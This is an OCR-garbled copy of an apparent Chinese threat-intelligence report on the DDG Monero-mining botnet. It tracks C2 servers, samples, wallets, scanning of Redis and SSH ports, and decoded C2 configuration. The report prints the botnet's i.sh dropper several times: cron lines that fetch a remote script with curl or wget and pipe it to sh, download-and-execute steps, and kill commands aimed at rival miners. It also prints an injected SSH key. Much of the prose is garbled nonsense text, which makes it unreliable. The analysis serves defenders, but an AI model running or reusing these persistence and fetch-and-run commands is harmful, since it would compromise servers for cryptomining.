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UPDATE(2018.6.13)

6.12 B , #1422 DDG.Mining.Botnet X R4 T FThRA , m#TRAA v3012 , EFHIRANT :

o EfiF C2 4 69.64.32.12:8000 ;

o BHRARIFAITEH i.sh i ;

o EHEM C2IP3IK;

o RIGACEXHRIEM. mIEAEELL , AEREPR C2 WNBRIEMZRHH C2 ;

o WHARRF. 7 ith ProxyPAB XMR Wallet 3£ 4544, , Wallet 3t
42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik
FEW M supportxmr.com H TotalPaid A 177.5497873784 XMR ; 7E4/ /8 nanopool.org & TotalPaid 4 6.057345747571

XMR ,
BofT C2 TEA :
frooddofrabfstatc X P
<« C (@ 69.64.32.12:8000/static
/root/.ddg/hub/static

. _3011_, dir, last modified 2018-06-12 07:25:10 +0000 UTC
* 3012 dir, last modified 2018-06-12 07:23:04 +0000 UTC

* qW3xT, file, 1252480 bytes, last modified 2018-05-24 15:51:10 +0000 UTC
e gW3xT.1, file, 1256576 bytes, last modified 2018-05-29 13:56:16 +0000 UTC

R OEAIT

md5=e31cl1d7a8025e7c3266a07e37c55a4ba uri=hxxp://69.64.32.12:8000/static/3012/ddgs.i686
md5=26b3aef91bacfa082deff9812acf7875 uri=hxxp://69.64.32.12:8000/static/3012/ddgs.x86_64

BORTRY i.sh AN -

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbhin

echo "*/5 * * * * curl -fsSL hxxp://69.64.32.12:8000/i.sh | sh" > /var/spool/cron/root

echo "*/5 * * * * wget -q -0- hxxp://69.64.32.12:8000/i.sh | sh" >> /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs

echo "*/5 * * * * curl -fsSL hxxp://69.64.32.12:8000/1i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -0- hxxp://69.64.32.12:8000/i.sh | sh" >> /var/spool/cron/crontabs/root

ps auxf | grep -v grep | grep /tmp/ddgs.3012 || rm -rf /tmp/ddgs.3012
if [ ! -f "/tmp/ddgs.3012" ]; then
curl -fsSL hxxp://69.64.32.12:8000/static/3012/ddgs.$(uname -m) -o /tmp/ddgs.3012
fi
chmod +x /tmp/ddgs.3012 && /tmp/ddgs.3012

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill

ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill

ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill

#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill

RHEA C2 1P AR AS {58 List 21  :

iplist_v3012.txt
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UPDATE(2018.6.1)

521 B , #{1&% 7 XT DDG.Mining.Botnet (T MEZNATIRE . EKIKILT ddgs v3010 F1 v3011 BIMRAMIARES | FIEEA]
HEREIEN AT AT T 5 ddg v20xx fRARF] XMR Wallet, {BFRT ddgs v3011 ARAMIFEASFFABEIEE PUTIZH #R(F , FTHE
V3011 FRAFMENMKRATITERRA. FE , AT XMR Wallet A WES , BoA v3011 hRASZ BTHKIARAIZA B3

5.31 B , FA14MZ DDG.Mining.Botnet X BT FEhE , A4 7T HHIKBEEH , MEZNT :

1. BN TUALRER ;

2. K757 ddgs v3011 [ x86_64 kRAHIAEA (ZBTRTH 686 fRA)
SEHTHMAC2IPIIEK ;

4. EHT #%0> Shell BIASC#4 i.sh .

B ootvddg hubistatic x> — X Lo XL I XY

€« Cc @ (@ 165.225.157.157:8000/static/ B .

/root/.ddg/hub/static

2t3ik, file, 2214320 bytes, last modified 2018-04-05 17:32:18 +0000 UTC
2t3ikem, file, 1170336 bytes, last modified 2018-04-09 01:24:21 +0000 UTC
2t3ik.p, file, 2214320 bytes, last modified 2018-04-08 08:21:03 +0000 UTC
2t3ik.s, file, 1621848 bytes, last modified 2018-04-05 15:47:38 +0000 UTC
3010, dir, last modified 2018-04-01 13:39:16 +0000 UTC

3011, dir, last modified 2018-05-31 02:33:50 +0000 UTC

imWBRI1, file, 5179728 bytes, last modified 2018-03-08 08:38:40 +0000 UTC
* imWBR1.ig, file, 835496 bytes, last modified 2018-04-02 01:55:16 +0000 UTC
o gW3xT, file, 1252480 bytes, last modified 2018-05-24 15:51:10 +0000 UTC

e gW3xT.1, file, 1256576 bytes, last modified 2018-05-29 13:56:16 +0000 UTC
* wnTKYg, file, 1361472 bytes, last modified 2018-03-08 08:38:48 +0000 UTC
» wnTKYg.noaes, file, 1365824 bytes, last modified 2018-03-08 08:38:51 +0000 UTC

W R
BEHN HFERF qW3XT #1 qW3xT.1 , B3 XMRig2.6.2 RET3K , 94 64Bit ELF 304 :

c50d3e20b35197096630e31277fefceb, hxxp://165.225.157.157:8000/static/qw3xT, 1252480 bytes, last modified 2018-05-24 15:51:10
+0000 UTC

532a35a8d0fe4944c24575c0336eff8a, hxxp://165.225.157.157:8000/static/qw3xT.1, 1256576 bytes, last modified 2018-05-29
13:56:16 +0000 UTC

W HLITESRIN AR (E B XMR Wallet 34K A84t, , R 2 ith Proxy FRZ BT 47.90.204.154 ZRRT

47.52.57.128/165.225.157.157 B4,

ddgs.x86_64

md5=55b1d7b0falc479c02660896e05db910 uri=hxxp://165.225.157.157:8000/static/3011/ddgs.x86_64

v3011 fRAHT ddgs.x86_64 , FATLAFE 64bit RETAKFETN EIRFI TR, PATHHAEFFRIZY T, B, v3011 AERMGHIRAR
EDERA , TR —A"T UEFLEI TR

BFER Cc2 1P 3%

5.21 BN T —HE ddgs.i686 HARNEMEM C2 IP I3k , FERHNK ddgs.x86_64 AR |, HKATKINEM C2 IP JIREXT , &
FTERK C2 IPFIRMT (SZHTNEHNES)

iplist_v3011_2.txt

i.sh [KAE)

4 DDG.Mining.Botnet £x#ThR v3011 BLEEFT T 1686 F x86_64 B MR MEA , BTN i.sh ti T AN Mzh , ATRAE
ddgs.$(uname -m) SEIEHC 686 F1 x86_64 fHIZfEEH, :
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export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/root
echo "*/5 * * * * wget -q -0- hxxp://165.225.157.157:8000/1i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -0- hxxp://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/crontabs/root

ps auxf | grep -v grep | grep /tmp/ddgs.3011 || rm -rf /tmp/ddgs.3011
if [ ' -f "/tmp/ddgs.3011" ]; then
curl -fsSL hxxp://165.225.157.157:8000/static/3011/ddgs.$(uname -m) -o /tmp/ddgs.3011

fi

chmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011

ps
ps
ps
ps
ps
ps

auxf
auxf
auxf
auxf
auxf
auxf

grep -v grep
grep -v grep
grep -v grep

grep -v grep
grep -v grep

| grep Circle_MI | awk '{print $2}' | xargs kill

| grep get.bi-chi.com | awk '{print $2}' | xargs kill

| grep hashvault.pro | awk '{print $2}' | xargs kill
grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill

| grep minexmr.com | awk '{print $2}' | xargs kill

| grep /boot/efi/ | awk '{print $2}' | xargs kill

#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill

J730(2018.5.21)
AE2 A 18, BATFEANT T — SR AR 55 2569120 {8 7 R4 DDG.Mining.Botnet .
R, EAVERBRARIEAAD T HHARA 3011 | FEXEHRAMENLRET |, 51K TR 7379 RAXMGO LM

e, SFERAR— N IERA.
DDG 3011 MRAHMEZAFELN T :
o JERTHTEN XMR £ 8t

42d4D8pASAWghy TmUS8a9yZyErA4WB18TJ6Xd2rZt 9HBio2aPmMAAVPHCPM8YODEYDI9FY7eRVPJhR7SKFyTaFbhSYCNZ2t31ik

o PHTEFEEA 23k , EdEMNETAZNL , MARRREHIARE 514 ;
o BRZAW I, IR XBIEFRAA—FPRGRIPIE]

o HERRE
s BRT =K

ESHIAK Go1.9.2 HMT Go1.10 , FIEARIDLEM, B=FFEMEFREA T TRRES) ;

BCE M, AT

— iy

Ayl

7379 BRSO LR ERE

EEXAHEEERMNRSIRH . U HREF Tk, A ERRSS ;

FARIEFFRIEB IS : % i.sh HAE A\F| Crontab FEHIEHF. 1E17.

BB
OILEE T

’

B, AR
AR IRNTAINT Sk ait , A 2 M B RIS E SR 1,419 M XMR, RAERFEENE  ZRAFTRERL TRK

IEH | FAM ScanMon RS BN Redis JRSFARRIGOMTRIRETE , 0T ¢
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https://scan.netlab.360.com/#/dashboard?tsbeg=1525622400000&tsend=1526054400000&dstport=7379&toplistname=similardstport&topn=10

dstport: 7379 5days (2018-05-07 00:00 ~ 2018-05-12 00:00 GMT+8)

Ll Scan volume per hour

R 1111171111111 T T T T 17T T —
R 11T 11T T TR L T -

Uniq srcdomain i 353
2018-05-07 2018-05-08 2018-05-09 2018-05-10 2018-05-11 2018-05-12
B8 Top srcip EE Top srcip/24 BB Top srcas 8 Top srcdomain B8 Top group dstport

Top 100 group dstport out of 311

dstport & Shared srcip « Uniq srcip = Scan volume by uniq srcip & Total count =
1 7379 248 244 i nm- 287K =il
2 6380 2246 | 247k - - 2334 LTI
3 a9 g1 ISR oo S R anm
4 8000 lﬂ el ..|| .................... " — 1l I IF--ln=-| I | S ——
5 2 E ISR nvnnun e 2 i
[ 2222 4 1539k 1 Mo I 4B6K e ammaElemmn e
7 22222 2 15 1naf]l | m Ifietju I 1o mll mjj 512k -

LEF, STIEARMRKROHT 7 A SRR ¢

o Redis %= : 6379, 6380, 7379
o SSH MFERI=A : 22, 2222, 22222
o HTTP #83&f—/ : 8000

HONVEARSGSHH AT UAIL , DDG HihRAs ddgs.3011 giTti 5 _£ik ScanMon MEFIMIMKAFHERE. X2 RIE

B , DDG JHRAHIESNS| 2 T A% 7379 RARRIHO LR A,
HAPITIHRAR

BAHBER T X IR FA AR O

hxxp://165.225.157.157:8000/static/3011/ddgs.i686 md5=999fc24f53034b4c73866a0699bel5fa

GEARPITIRIZANT
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ddgs.3011 |-

Connect to IP
List

A

Fetch Conf Data From

Remote Host .
Y : Y
 J . :
Iniect SSH Pub K y Extract Scan DstPorts . [;E)(tralct dMIS;[
nJECTTO Loc:l &y Modify Local Crontab : ownioa
i i Worm- ti
~/.ssh/authorized_keys Add ish Y o pr?pagalon Y
Generat Scan DstIP Fetch Miner From
C2 Via Conf Data
Y :
Y
Scan&Crack SSH|Redis . ]
: Execute Miner
Y
Modify Crontab
Addish
Y :
Download dds.3011 | _:
Viai.sh
Y
| End -

FIEHARIASAMNZ 4, 2BITIE i.sh FAMENAE] Linux REEAIRSH) Crontab FRTHAFAGEE. # i.sh ARNENT :
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/root

echo "*/5 * * * * wget -q -0- hxxp://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs

echo "*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/1i.sh | sh" > /var/spool/cron/crontabs/root
echo "*/5 * * * * wget -q -0- hxxp://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/crontabs/root

if [ ' -f "/tmp/ddgs.3011" ]; then

curl -fsSL hxxp://165.225.157.157:8000/static/3011/ddgs.i686 -o /tmp/ddgs.3011
fi
chmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill

ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill

ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
| I
| |
I I

ps auxf grep -v grep grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf grep -v grep grep /boot/efi/ | awk '{print $2}' | xargs kill

#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
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Passwords]

ddgs.i686 MATERETHAHEK) /var/spool/cron/crontabs/root B3 /var/spool/cron/crontabs B NEM{ESHZA , A
TG NEGRETE 1.sh MAERBIT (%s &mFii i.sh TEGEE) | SSEHSAEEE -

*/1 * * * * curl -L %s | sh
*/1 * * * * wget -q %s -0 - | sh

SRIG , ddgs.i686 A AE M HIRIRSE] ~/.ssh/authorized_keys HiFALRLT SSH Pub Key :

ssh-rsa
AAAAB3NzaClyc2EAAAADAQABAAABAQDTXLBb/eKbi®TVVULIBILVtbv2iaGM+ezZbZoCWcD3v/eF1B/VKHAC1YwIhfgkUYudwhxVfQzs0zZYQmKyapwWzgp3tBAxcl8
root@localhost

ddgs.i686 BEARPNE T — ip:port i List , Hh 2 NFEE) 165.225.157.157:8000 F 165.227.149.151:8000 , HLEE&
B, £%%0%nT :

iplist_v3011_1.txt

HA ddgs.i686 Az R , RRRER LR ip:port &R AR AV :
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Time Source Deztination Protocel Lengtl Signat Info —
116:26:54.516128 165.225.157.157 TCP 74 37222 -+|8088|[SYN] Seq=0 Win=29200 Len=8 MSS=1468

SN RTHIBFR ip:port , ddgs.i686 ZBAELiK ] hxxp://<C2:8000>/slave &% HTTP POST &K :

Time Source Destination Protocol Lengtl Signat Info

46 16:26:54.679180 165.225.157.157 HTTP 200 POST /slave HTTP/1.1

57 16:26:54.853531 123.196.124.52 HTTP 199 POST /slave HTTP/1.1

61 16:26:54.866885 165.225.157.157 HTTP 224 POST /slave HTTP/1.1
201989 16:27:24.869784 47.93.7.246 HTTP 196 POST /fslave HTTP/1.1
283678 16:27:25.822580 202.45.147.116 HTTP 199 POST /slave HTTP/1.1
395396 16:27:55.835987 165.225.157.157 HTTP 1878 POST /slave HTTP/1.1
397641 16:28:55.391565 165.225.157.157 HTTP 224 POST /slave HTTP/1.1
408143 16:29:54.522813 165.225.157.157 HTTP 169 GET /static/2t3ik.p HTTP/1.1
408239 16:29:55.113877 47.93.7.246 HTTP 196 POST /slave HTTP/1.1
408371 16:29:55.778275 165.225.157.157 HTTP 224 POST /slave HTTP/1.1
408615 16:29:56.428368 165.225.157.157 HTTP 169 GET /static/2t3ik.m HTTP/1.1
408741 16:29:57.855745 202.45.147.116 HTTP 199 POST /slave HTTP/1.1
483344 16:30:55.934468 165.225.157.157 HTTP 224 POST /fslave HTTP/1.1
496180 16:31:56.108775 165.225.157.157 HTTP 224 POST /slave HTTP/1.1
487329 16:32:25.825542 47.93.7.246 HTTP 196 POST /slave HTTP/1.1
487578 16:32:28.814430 202.45.147.116 HTTP 199 POST /slave HTTP/1.1
488744 16:32:56.266889 165.225.157.157 HTTP 224 POST /slave HTTP/1.1
411381 16:33:56.433496 - 165.225.157.157 HTTP 224 POST /slave HTTP/1.1

R C2 IEF TF , MR [E—5 A msgPack 7314t ja HIBC B SR -
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POST /slave HTTP/1.1

Host: 165.225.157.157:8000
User-Agent: Go-http-client/1.1
Content-Length: @
Content-Type: text
Accept-Encoding: gzip

HTTP/1.1 288 OK

Server: nginx

Date: Mon, 14 May 2018 ©8:27:06 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 1117

X-Your-Ip:

..Data. .G..Config..Interval.6@s.Miner.. .Exe./tmp/2t3ik.p.Md5. bddbce2847f2254e5e7e8bB73Bcaae2e.Url. /static/2t3ik.p. . Exe. /tmp/2t3ik.m.Md5.

54259015b8ead37ac66daB56769528db.Url. /static/2t3ik.m.Cmd. . AAredis..Id... Version....ShellUrl. http://165.225.157.157:8@808/i.sh.Duration.168h.IPDuration.

3h.Genlan. .GenAAA. .Ports. ... ...... AAssh. . Id....Version....ShellUrl. http://165.225.157.157:8008/1.sh.NThreadsd.Duration.168h.IPDuration.

6h.Genlan. .GenAAA. .Ports. ... .. V..Update..Id...Version....Timeout.bm.Exe. /tmp/ddgs.3011.Md5. 999fc2453034bAc73866a0699bel5Fa.Url. /static/3011/
ddgs.i686.Killer...Id...Version....Expr...+{cryptonight|stratums+tcp://|dwarfpool.com).+.Timeout.6@s..Id. . .Version. .. .Expr.4. /xmr-stak]|./.syslog|/bin/
wipefs|./xmrig|/tmp/wnTKYg. Timeout.60s..Id.. . Version....Expr. /ftmp/2t3ik.+.Timeout.60s.LKProc...Id...Version....Expr..+. Timeout.

60s.Signature..... _w8....V.LK L C}..D

."..F.s)..H..1le.]..8?

R hp....

Ned)eennn sM.gq.Y..H....q..bS..K A= wM. . 5.y .p....B...._gfK..
HE- 4 C..g...... L W [- R Q.=.l@

..c..To.zafy. 4. k.rh. . ."EU~.g. .. .C..5F. 0. ... ......... d B |.5....POST /slave HTTP/1.1

e i o oc
T XBHIEEE N T RRMBIRLEH | IRBERINTERAR , 218 msgPack AR FILBEARLER/EMNT
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'Data’:
Config:
Interval:"360s";
Miner:[
{Exe: "/tmp/2t3ik.p", Md5: "b44bce2047f2254e5e7e8b0730caae2e", Url: "/static/2t3ik.p"},
{Exe: "/tmp/2t3ik.m", Md5: "54259015b8ead37ac66da056769520db", Url: "/static/2t3ik.m"}
1;
cmd: [
(AAredis: {
Id: 6016;
Version: 3011;
ShellUrl: "http://165.225.157.157:8000/i.sh";
Duration: "168h";
aIPDuration: "23h";
GenLan;
GenAAA;
Ports: (6379, 6380, 7379)
.
(AAssh:{
Id: 2017;
Version: 3011;
Shellurl: "http://165.225.157.157:8000/1i.sh";
NThreadsd;
Duration: "168h";
aIPDuration:"26h"
GenlLan;
GenAAA;Ports: (22, 2222, 22222)
Ik
(Update: (
{
Id: 142;
Version: 3010;
Timeout: "26m";
Exe: "/tmp/ddgs.3011";
Md5: "999fc24f53034b4c73866a0699bel5fa";
Url: "/static/3011/ddgs.i686";
Killer: 132;
}!
{
Id: 197;
Version:3011;
Expr: ".+(cryptonight|stratum+tcp://|dwarfpool.com).+";
Timeout: "360s";
1
{
Id: 198;
Version: 3011;
Expr: "./xmr-stak]|./.syslog|/bin/wipefs|./xmrig|/tmp/wnTKYg";
Timeout: "360s";
}
{
Id: 199;
Version: 3011;
Expr: "/tmp/2t3ik.+";
Timeout: "360s";
LKProc: 132;
}!
{
Id: 177;
Version: 3011;
Expr: ".+";
Timeout: 360s'
}
)
1
'Signature':

'"\X02\x0b_v8\xe4\xa9\xe8\x0fVAxc1\x04\xbeK\x1e\x10\x1a\xc4\xb3C}\xb2\x96D\r\x97"\xc4\xffF\xd0s ) \xbf\xc4H\xa4\xa51e\xd5J\x8b\
\r\xfb\x8b)\~~\x02\xfd\xf7\xa4\xe5"hp\x11\xdd\xae\xd4\r\\\xb4\xf7)\xf1\xc4\x87\x95\x8esM\xbcq\x01Y\xe8\xe5H\x93\xde\xcc\xbbq
\x9f\xf1z\xfe\xa3\xe4C\xa8\xeeg\x0f\x7f\xd7\x8d\x02\x98\\\x1aJ\xab\xcc\xf9\xbd\x94\x83\xfd\xc3q\xad\xb5\x8d\xcb\x06\xfeQ\x1d

}
SEREXHAHREDHT , TURIIAT LR R

1. BRESCFIRMHT Miner F2F7H) URI, MD5 MRTFEILBTPIRGHIS I 1E. ddgs.i686 £ARYE URI, Eid HTTP GET iE5KM
http://<C2:8000>/Miner URI £bTF# Miner IR EEFEEHKR ;
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2. eE PR T RHH i.sh X TEIETR |, ddgs.i686 SIEXANRSATRIE IS MG STFEF ;

3. BLESUHFHIERE T EHHM dstport , ATABREISTST Redis fR$ , $EXE ddgs.i686 33 (6379, 6380, 7379) =i , $1%F SSH AR
%, FBETAM (22, 2222, 22222) =p0 . (XEATRMAER ScanMon L 7 MOz BMEERR. {8 Redis JRSHAXM 3 NG
A5 SSH fR%-M%H 3 MNiH (8 Shared scip $tEbb/> | RIRBTAER BT E AR BB R ER X)

4. FRE {4 GenLan / GenAAA XL 4§, Scan Target IP (A A 5k#E . #EAR K Scan Target IP A A SRBR AR E T I BRARAS
ddg.miner : & FREIRMIMEL Target IP SEERIT : 10.Y.x.x/16 (Y A4 BTRM IP B EXHI{E)172.16.x.x/16192.168.x.x/16 4 HI EAH
AR 1P 3l WAN_IP , SA/57E waAN_1P/8 SEEINAEMAMMEL Target IP . {BRHFARNFNITEIRE , NMTALE |, 555
R Target IP , R334 SSH RS XM 3 MiA , MBI HE1TEERR 41 SSH RS , Bie kR AIHREEI T R-RH4SMNH
Ik, ALEXTSMNRE) Target IP 335 Redis A< HEmH .

5. BEEXHTAE T ddgs EARENELE : RFNRAS. AMBENTHERE. C2in FEA URI DARFEARR MD5 , A2 HH
ddgs.i686 FEANAIRIEXLE s B X A A ARSI TE H.

20

BHARRILE XA , SARMBECE ST Miner F{EE | X T 2t3ik.p 0 2t3ik.m ZLFTRFETH tmp/ B, XHANEFE
XMRig 2.5.2 @O0 AARFF , BAXRIARE , XEEEE—2:

o BRAESHE (RTHEIL)
42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik

o RN 1 47.90.204.154hk02.supportxmr.compool.supportxmr.comxmr-asia1.nanopool.orgxmr-us-west1.nanopool.org L+
47.90.204.154:443 2 Proxy , XEMNAT FIRZ #84th supportxmr.com 5] TotalPaid A 150.5194868540 XMR
IRYBTHHITAART 181,311.3 ¥ ; A th nanopool.org HTotalPaid: 1268.5880545439 XMR , R4 BIHMITA AR
1527,519.6 ¥,

3011 B— Nk i A

BEEE—IEME |, ddgs.i686 2 32bit ELF 3 , TIE FEEIM 2t3ik.p 1 2t3ik.m B2 64bit ELF X4 , XAE—3K , FEESIMES |
AR EINKET. MHE , R4S 3011 2 hxxp://165.225.157.157:8000/static/3011/ddgs.1686 X—MEOER |, R
hx7 3010 , [RIEF7EAE ddgs.i686 1 ddgs.x86_64 Bz OMEAN, FTRA , ATRLUAMARZA 3011 BRI FIUAMEL , SB R 2— MR
.,

loC

Sample

md5=9ebf7fc39efe7c553989d54965ebb468 uri=hxxp://165.225.157.157:8000/static/imwWBR1
md5=d3b1700a413924743caab1460129396b uri=hxxp://165.225.157.157:8000/static/wnTKYg
md5=8eaf1f18c006e6ecacfbladboef7faee uri=hxxp://165.225.157.157:8000/static/wnTKYg.noaes
md5=754487fd92e282c98acf6528604049aa uri=hxxp://165.225.157.157:8000/static/imwWBR1.1ig
md5=52f06ca98la6e6chbc89b095ea6dblibf9 uri=hxxp://165.225.157.157:8000/static/2t3ik.s
md5=b44bce2047f2254e5e7e8b0730caae2e uri=hxxp://165.225.157.157:8000/static/2t3ik.p
md5=54259015b8ead37ac66dan056769520db uri=hxxp://165.225.157.157:8000/static/2t3ik.m
md5=76e8d7bf408b3b6ebd13d6b292519742 uri=hxxp://165.225.157.157:8000/static/2t3ik
md5=999fc24f53034b4c73866a0699bel5fa uri=hxxp://165.225.157.157:8000/static/3011/ddgs.i686
md5=8ab02497219bda76c959f86386a2c363 uri=hxxp://165.225.157.157:8000/static/3010/ddgs.i686
md5=45774309c72839d6d4303024059e7070 uri=hxxp://165.225.157.157:8000/static/3010/ddgs.x86_64
md5=884a57a0e4f9d222117aecall11095d7a uri=hxxp://165.225.157.157:8000/1i.sh
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